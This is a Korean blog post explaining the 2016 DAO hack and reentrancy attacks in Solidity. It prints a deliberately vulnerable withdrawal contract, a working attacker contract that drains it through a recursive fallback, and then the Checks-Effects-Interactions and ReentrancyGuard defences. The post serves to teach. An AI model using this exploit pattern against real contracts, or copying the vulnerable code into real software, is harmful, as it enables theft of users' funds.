Published on

The DAO 해킹 사건과 Reentrancy Attack

Authors
  • avatar
    Name
    Aaron
    Twitter

The DAO 해킹 사건

The DAO란?

The DAO(Decentralized Autonomous Organization)는 2016년 4월에 출시된 이더리움 기반의 탈중앙화 벤처 캐피털 펀드였습니다. 투자자들이 ETH를 예치하고 DAO 토큰을 받아 투자 프로젝트에 투표할 수 있는 시스템이었습니다.

출시 결과

  • 크라우드세일 기간: 2016년 4월 30일 ~ 5월 28일
  • 모금액: 약 1,150만 ETH (당시 약 1억 5천만 달러)
  • 참여자: 약 11,000명
  • 이더리움 전체 ETH의 약 14%를 보유한 거대 펀드

해킹 사건 발생

2016년 6월 17일, 출시 3개월도 되지 않아 해커가 Reentrancy Attack을 이용하여 The DAO를 공격했습니다. 해커는 출금 함수의 취약점을 악용해 ETH 전송 과정에서 같은 함수를 반복 호출하여 자금을 탈취했습니다.

피해 규모

  • 탈취된 ETH: 약 360만 ETH (전체 펀드의 약 1/3)
  • 당시 가치: 약 6천만 달러
  • 현재 가치로 환산: 수십억 달러

커뮤니티의 대응과 하드포크

이더리움 커뮤니티는 이 사건에 대응하기 위해 극적인 결정을 내렸습니다.

2016년 7월 20일 하드포크 실행

  • 목적: 해킹된 자금을 원래 투자자들에게 되돌리기
  • 방법: 블록체인을 The DAO 계약이 실행되기 이전 상태로 되돌림
  • 결과: 이더리움(ETH)과 이더리움 클래식(ETC)으로 분리

두 개의 블록체인

  • 이더리움(ETH): 하드포크를 수용한 체인 (해킹 무효화)
  • 이더리움 클래식(ETC): 원래 체인을 유지 ("Code is Law" 원칙 고수)

이 사건은 블록체인의 불변성과 커뮤니티 거버넌스에 대한 중요한 논쟁을 불러일으켰습니다.

Reentrancy Attack이란?

Reentrancy Attack은 스마트 컨트랙트의 함수가 외부 호출을 실행한 후 상태를 업데이트하는 취약점을 이용한 공격입니다.

  1. 공격자가 컨트랙트에 소액(예: 1 ETH)을 예치
  2. 공격자가 자신의 예치금을 인출 요청
  3. 컨트랙트가 공격자에게 ETH를 전송하면, 전송 중에 공격자의 fallback 함수가 실행됨
  4. 잔액이 업데이트되기 전에 공격자의 fallback에서 다시 출금 함수를 호출
  5. 잔액 확인을 통과하고 또 다시 ETH를 전송받음
  6. 3~5 과정을 반복하여 컨트랙트의 모든 자금 탈취

The DAO의 취약한 코드

splitDAO 함수

해커가 공격한 splitDAO 함수는 사용자가 자신이 예치한 ETH를 인출할 수 있는 기능이었습니다.

// The DAO 컨트랙트의 취약한 코드 (단순화)
contract TheDAO {
    // 각 사용자가 예치한 ETH 잔액을 기록
    mapping(address => uint256) public balances;

    // 사용자가 자신의 예치금을 인출하는 함수
    function splitDAO() public {
        // 함수를 호출한 사람(msg.sender)의 잔액을 확인
        uint256 amount = balances[msg.sender];

        // 1. 잔액 확인: 출금할 금액이 있는지 체크
        require(amount > 0, "No balance");

        // 2. ETH 전송
        // msg.sender(함수를 호출한 사람)에게 ETH를 전송
        // 이 시점에 msg.sender가 컨트랙트라면, 그 컨트랙트의 fallback/receive 함수가 실행됨
        (bool success,) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // 3. 잔액 업데이트
        // 이 줄이 실행되기 전에 공격자의 fallback에서 다시 splitDAO()를 호출할 수 있음
        balances[msg.sender] = 0;
    }

    // 사용자가 ETH를 예치하는 함수
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
}

문제점

핵심은 상태 업데이트 전에 외부 호출입니다. ETH 전송(msg.sender.call) 시 공격자의 코드가 실행될 수 있고, 이때 잔액이 아직 0으로 업데이트되지 않았기 때문에 같은 함수를 반복 호출할 수 있습니다.

해커의 공격 코드

// 공격자의 악성 컨트랙트
contract Attacker {
    TheDAO public dao;                  // 공격 대상인 The DAO 컨트랙트 주소
    uint256 public initialDeposit;      // 초기 예치금 (1 ETH)

    constructor(address _daoAddress) {
        dao = TheDAO(_daoAddress);
        initialDeposit = 1 ether;
    }

    // 1. 공격 시작 함수
    function attack() external payable {
        require(msg.value >= initialDeposit, "Need at least 1 ETH");

        // The DAO에 1 ETH 예치
        // 이제 balances[이 컨트랙트 주소] = 1 ETH가 됨
        dao.deposit{value: initialDeposit}();

        // 출금 시작 (여기서 재진입 공격 시작)
        // splitDAO()를 호출하면 The DAO가 이 컨트랙트에 ETH를 전송함
        dao.splitDAO();
    }

    // 2. ETH를 받을 때마다 자동으로 실행되는 fallback 함수
    // payable이 있어야 ETH를 받을 수 있음
    // The DAO의 msg.sender.call{value: amount}("")가 실행되면
    // 이 컨트랙트로 ETH가 전송되고, 자동으로 이 fallback 함수가 호출됨
    fallback() external payable {
        // The DAO에 아직 ETH가 남아있는지 확인
        if (address(dao).balance >= initialDeposit) {
            // 🔄 다시 출금 요청! (잔액이 아직 0으로 안 바뀌어서 또 1 ETH를 받을 수 있음)
            dao.splitDAO();
            // 이 과정이 The DAO의 잔액이 바닥날 때까지 반복됨
        }
    }

    // 3. 탈취한 ETH를 공격자 계정으로 회수
    function withdraw() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Reentrancy Attack 작동 원리

공격이 어떻게 진행되는지 단계별로 살펴보겠습니다.

1단계: 초기 상태

The DAO 잔액: 5 ETH
공격자 잔액: 1 ETH

The DAO 내부 기록:
balances[공격자] = 0 ETH

2단계: 공격자가 1 ETH 예치

// 공격자가 실행
dao.deposit{value: 1 ether}();
The DAO 잔액: 6 ETH
공격자 잔액: 0 ETH

The DAO 내부 기록:
balances[공격자] = 1 ETH

3단계: 첫 번째 출금 시도

// 공격자가 실행
dao.splitDAO();

The DAO 컨트랙트 내부에서 일어나는 일

// 1. 잔액 확인
uint256 amount = balances[공격자];  // amount = 1 ETH
require(amount > 0);  // ✅ 통과

// 2. ETH 전송 (여기서 공격자의 fallback 함수 실행!)
(bool success,) = 공격자.call{value: 1 ether}("");

// ⚠️ 아직 balances[공격자] = 0으로 업데이트 안됨!

4단계: 공격자 fallback 함수 실행 (재진입)

// 공격자의 fallback 함수가 실행됨
fallback() external payable {
    // The DAO에 아직 5 ETH가 남아있음
    if (address(dao).balance >= 1 ether) {
        dao.splitDAO();  // 다시 호출! (재진입)
    }
}

다시 The DAO의 splitDAO()가 실행됨

// 1. 잔액 확인
uint256 amount = balances[공격자];  // 여전히 1 ETH! (업데이트 안됨)
require(amount > 0);  // ✅ 통과

// 2. ETH 전송 (또 1 ETH 전송!)
(bool success,) = 공격자.call{value: 1 ether}("");

5단계: 반복 (재진입 계속)

이 과정이 The DAO의 잔액이 바닥날 때까지 반복됩니다.

호출 스택:
splitDAO() #1
  → 공격자 fallback()
splitDAO() #2
      → 공격자 fallback()
splitDAO() #3
          → 공격자 fallback()
splitDAO() #4
              → 공격자 fallback()
splitDAO() #5
                  → 공격자 fallback()
splitDAO() #6 (잔액 부족, 종료)

최종 결과

The DAO 잔액: 0 ETH (전부 탈취됨!)
공격자 잔액: 6 ETH

The DAO 내부 기록:
balances[공격자] = 1 ETH (업데이트가 한 번도 안됨!)

올바른 코드 (Checks-Effects-Interactions 패턴)

function withdraw() public {
    uint256 amount = balances[msg.sender];

    // ✅ 올바른 순서
    require(amount > 0);           // 1. Checks (검증)
    balances[msg.sender] = 0;      // 2. Effects (상태 변경)

    (bool success,) = msg.sender.call{value: amount}("");  // 3. Interactions (외부 호출)
    require(success);
}

상태를 먼저 업데이트한 후 외부 호출을 실행하면, 재진입 공격을 시도해도 잔액이 이미 0이므로 require(amount > 0)에서 실패합니다.

Reentrancy 방어 방법

1. Checks-Effects-Interactions 패턴

가장 기본적이고 중요한 방어 방법입니다.

function withdraw() public {
    // 1. Checks: 조건 검증
    uint256 amount = balances[msg.sender];
    require(amount > 0, "No balance");

    // 2. Effects: 상태 변경 (먼저!)
    balances[msg.sender] = 0;

    // 3. Interactions: 외부 호출 (나중!)
    (bool success,) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

2. ReentrancyGuard 사용 (OpenZeppelin)

OpenZeppelin의 ReentrancyGuard를 사용하면 간단하게 재진입을 방지할 수 있습니다.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        // nonReentrant 덕분에 재진입 시도 시 자동으로 revert
        (bool success,) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] = 0;
    }
}

ReentrancyGuard 작동 원리

// OpenZeppelin의 ReentrancyGuard 내부 (단순 버전)
abstract contract ReentrancyGuard {
    uint256 private _status;

    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        // 재진입 시도 감지
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // 함수 실행 중임을 표시
        _status = _ENTERED;

        _;  // 실제 함수 실행

        // 함수 실행 완료
        _status = _NOT_ENTERED;
    }
}